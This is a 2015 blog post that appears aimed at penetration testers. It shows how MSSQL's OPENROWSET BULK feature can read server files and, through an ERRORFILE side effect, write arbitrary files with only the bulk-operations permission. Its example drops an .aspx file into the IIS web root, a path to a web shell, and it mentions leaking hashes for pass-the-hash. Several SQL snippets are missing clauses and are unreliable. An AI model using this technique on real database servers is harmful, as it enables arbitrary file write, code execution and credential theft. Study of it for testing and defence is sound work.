Jun 9, 2015

Reading/Writing files with MSSQL's OPENROWSET

This was originally posted on blogger here.

Unfortunately, Microsoft SQL Server’s SQL dialect Transact-SQL does not support reading and writing files in an easy way as opposed to MySQL’s LOAD_FILE() function and INTO OUTFILE clause.

Of course, with xp_cmdshell being enabled, you can read and write files using OS commands. However, one is not always blessed with the CONTROL SERVER permission, which is generally only granted with the sysadmin role. But if you happen to have the ADMINISTER BULK OPERATIONS permission (implied by the bulkadmin role), then OPENROWSET is a viable option for both reading and writing files.

Granted, using OPENROWSET for reading and writing files is nothing new. However, all examples for writing files that I have seen so far require the access to remote OLE DB providers being enabled, which is controlled by the ad hoc distributed queries configuration option, which is disabled by default. And changing and reconfiguring any configuration option requires ALTER SETTINGS permissions (implied by the sysadmin and serveradmin roles), which are not always available. And, well, in case of the sysadmin role, you could just as well use xp_cmdshell.

So the technique for writing files demonstrated here is a little different as it exploits a side effect of OPENROWSET, which just requires ADMINISTER BULK OPERATIONS permission. It also does not require any temporary table or whatsoever; everything can be performed in a sub-query.

Checking Prerequisites

For looking up whether the current user has ADMINISTER BULK OPERATIONS permissions, you can use the HAS_PERMS_BY_NAME() function:


The result should be 1.

Reading Files

Reading a file is pretty straight forward. When OPENROWSET is referenced in the FROM clause, it allows reading from the given file through a built-in BULK provider and returns it as a rowset. The following SELECT reads the C:\Windows\win.ini file and returns a rowset of one single character LOB:

SELECT BulkColumn
	BULK 'C:\Windows\win.ini',
) t

This, of course, can also be used to leak hashes for pass-the-hash.

Writing Files

Writing to a file is a little more difficult. The common approach with OPENROWSET only is calling an external OLE DB provider. But this generally requires ad hoc distributed queries being enabled and has certain caveats like restriction to certain output formats depending on the selected OLE DB provider (e. g., CSV), previous existence of the output file, registration of linked servers, etc.

However, there is a way of writing arbitrary data to an arbitrary file without any of these restrictions or prerequisites by exploiting a side effect of OPENROWSET.

The feature that is being exploited is the error reporting feature. The reference states the purpose of the ERRORFILE argument as follows:

ERRORFILE = ‘file_name’

Specifies the file used to collect rows that have formatting errors and cannot be converted to an OLE DB rowset. These rows are copied into this error file from the data file “as is.”

So any erroneous record from the input is directly written to the given error file as is.

The following SELECT reads from \\\share\input.txt with the format specified in \\\share\input.fmt and writes to C:\Inetpub\wwwroot\hello.aspx:

SELECT BulkColumn
	BULK '\\\share\input.txt',
) t

The input file input.txt has the following contents:

<%="Hello, World!"%>

The non-XML format file input.fmt specifies one single column named BulkColumn of type CHAR with the length of 1 character (fourth column) and the last character in our input file (i. e., >) as terminator:

1	SQLCHAR	0	1	">"	1	BulkColumn	""

Since we specified the length with just one byte, a truncation error occurs and the whole record up to and including the final terminator (i. e., >) gets written to the error file:

Msg 4863, Level 16, State 1, Line 1

Bulk load data conversion error (truncation) for row 1, column 1 (BulkColumn).

For binary files, the XML format seems to be better as you can specify the length for both the field input and the column output and don’t need a terminator. The following format file input.xml allows writing binary data up to 512 kB:

<?xml version="1.0"?>
<BCPFORMAT xmlns="http://schemas.microsoft.com/sqlserver/2004/bulkload/format" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
		<FIELD ID="1" xsi:type="CharFixed" LENGTH="1234567890"/>
		<COLUMN SOURCE="1" NAME="BulkColumn" xsi:type="SQLVARYBIN" LENGTH="1234567890"/>

The length seems to be irrelevant, and it certainly raises a data conversion error due to the binary data, resulting in writing the entire data to the error file.